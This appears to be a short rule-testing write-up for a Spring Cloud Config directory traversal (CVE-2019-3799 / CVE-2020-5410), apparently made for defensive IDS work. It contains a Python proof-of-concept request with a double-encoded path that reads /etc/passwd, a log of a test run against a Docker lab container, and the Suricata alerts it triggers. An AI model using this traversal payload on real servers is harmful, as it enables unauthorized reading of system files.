

spring-cloud-config directory through

- Poc :

```
target = vul_url+"/foo/default/master/..%252F..%252F..%252F..%252Fetc%252Fpasswd"
response_code = req.get(target).status_code
r = req.get(target)
```

- Rules :

```
$ python3 EDT.py
使用随机端口 7245进行测试
change_port
Pulling web (co0ontty/cve-2019-3799:latest)...
latest: Pulling from co0ontty/cve-2019-3799
16c48d79e8cc: Already exists
3c654ad3ed7d: Already exists
6276f4f9c29d: Already exists
a4bd43ad48ce: Already exists
96f6221c5366: Pull complete
e883c9def102: Pull complete
c1ce3c368276: Pull complete
Digest: sha256:58a22235b7a9172a7c1e2db9c3158fed4c7b5111006c2c836016fdbb65dbc7c
Status: Image is up to date for co0ontty/cve-2019-3799:latest
Creating springcloudconfigcve20193799_web_1 ...
Creating springcloudconfigcve20193799_web_1 ... done
change_port
等待容器环境初始化,约120s (取决于网络速度)
开始攻击,请稍等
攻击失败, 防御设施可能生效 !
```

```
11/26/2020-03:34:41.830738 [**] [1:190344:1] SERVER-WEBAAPP spring-cloud-config directory through (CVE-2020-5410 CVE-2019-3799) [**] [Classification: Unknown Classtype] [Priority: 3] {TCP} 127.0.0.1:59134 -> 127.0.0.1:7245
11/26/2020-03:34:41.830738 [**] [1:312999:1] SERVER-WEBAAPP spring-cloud-config directory through (CVE-2020-5410 CVE-2019-3799) [**] [Classification: Unknown Classtype] [Priority: 3] {TCP} 127.0.0.1:59134 -> 127.0.0.1:7245
11/26/2020-03:34:41.830738 [**] [1:63019382:1] SERVER-WEBAAPP spring-cloud-config directory through (CVE-2020-5410 CVE-2019-3799) [**] [Classification: Unknown Classtype] [Priority: 3] {TCP} 127.0.0.1:59134 -> 127.0.0.1:7245
```